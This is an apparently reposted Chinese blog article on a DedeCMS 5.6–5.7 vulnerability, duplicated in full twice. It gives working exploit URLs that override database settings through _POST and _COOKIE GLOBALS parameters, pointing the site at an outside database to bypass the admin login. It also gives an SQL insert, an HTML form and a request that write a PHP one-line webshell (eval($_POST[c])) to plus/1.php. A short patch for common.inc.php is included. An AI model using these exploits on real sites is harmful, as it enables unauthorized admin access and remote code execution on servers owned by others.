DEDECMS 爆嚴重安全漏洞 免賬號密碼直接進入後臺
阿新 • • 發佈:2019-02-20
眾所周知,因使用簡單、客戶群多,織夢CMS一直被爆出許多漏洞。今天小編在群裡得到織夢官方論壇某版主可靠訊息:DEDECMS爆嚴重安全漏洞,近期官方會發布相關補丁,望大家及時關注補丁動態。入侵步驟如下:http://www.xx.com/織夢網站後臺/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
把上面validate後面的字母改為當前的驗證碼,即可直接進入網站後臺。
小編分析了一下,此漏洞的前提是必須得到後臺路徑才能實現,因此大家一定要養成使用DEDECM建站時改後臺名字的習慣。下面給出官方的解決辦法:
解決辦法:
找到include/common.inc.php檔案,把
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ):
{
exit('Request var not allow!');
}
}
換成
//檢查和註冊外部提交的變數
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
{
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);
網傳的都是說要知道後臺才能利用,但不用,只要 plus 目錄存在,伺服器能外連,就能拿shell
前題條件,必須準備好自己的dede資料庫,然後插入資料:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');
再用下面表單提交,shell 就在同目錄下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
====================================================
DedeCms v5.6-5.7 0day
其實除過windows系統,很多服務提供商是不讓php連線外部mysql伺服器的。
用PHPNow在本地搭建DEDECMS執行環境並安裝DEDECMS,這裡以DedeCMSV57_UTF8為例。
直接進後臺:
dede/login.php?dopost=login&validate=8235&userid=admin&pwd=admin&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_
直接獲得webshell:
進入自己在本地搭建的dede資料庫,然後插入資料:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');
在位址列提交以下語句即可獲得一句話木馬plus/1.php:
plus/mytag_js.php?aid=1&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_&nocache=true
把上面validate後面的字母改為當前的驗證碼,即可直接進入網站後臺。
小編分析了一下,此漏洞的前提是必須得到後臺路徑才能實現,因此大家一定要養成使用DEDECM建站時改後臺名字的習慣。下面給出官方的解決辦法:
解決辦法:
找到include/common.inc.php檔案,把
foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) ):
{
exit('Request var not allow!');
}
}
換成
//檢查和註冊外部提交的變數
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
{
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);
網傳的都是說要知道後臺才能利用,但不用,只要 plus 目錄存在,伺服器能外連,就能拿shell
前題條件,必須準備好自己的dede資料庫,然後插入資料:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'\');echo "OK";@fclose($fp);{/dede:php}');
再用下面表單提交,shell 就在同目錄下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://localhost:8080/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
====================================================
DedeCms v5.6-5.7 0day
其實除過windows系統,很多服務提供商是不讓php連線外部mysql伺服器的。
用PHPNow在本地搭建DEDECMS執行環境並安裝DEDECMS,這裡以DedeCMSV57_UTF8為例。
直接進後臺:
dede/login.php?dopost=login&validate=8235&userid=admin&pwd=admin&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_
直接獲得webshell:
進入自己在本地搭建的dede資料庫,然後插入資料:
insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen("1.php", \'a\');@fwrite($fp, \'<?php eval($_POST[c]) ?>\');echo "OK";@fclose($fp);{/dede:php}');
在位址列提交以下語句即可獲得一句話木馬plus/1.php:
plus/mytag_js.php?aid=1&_POST[GLOBALS][cfg_dbhost]=192.168.1.1&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=123456&_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&_POST[GLOBALS][cfg_dbprefix]=dede_&nocache=true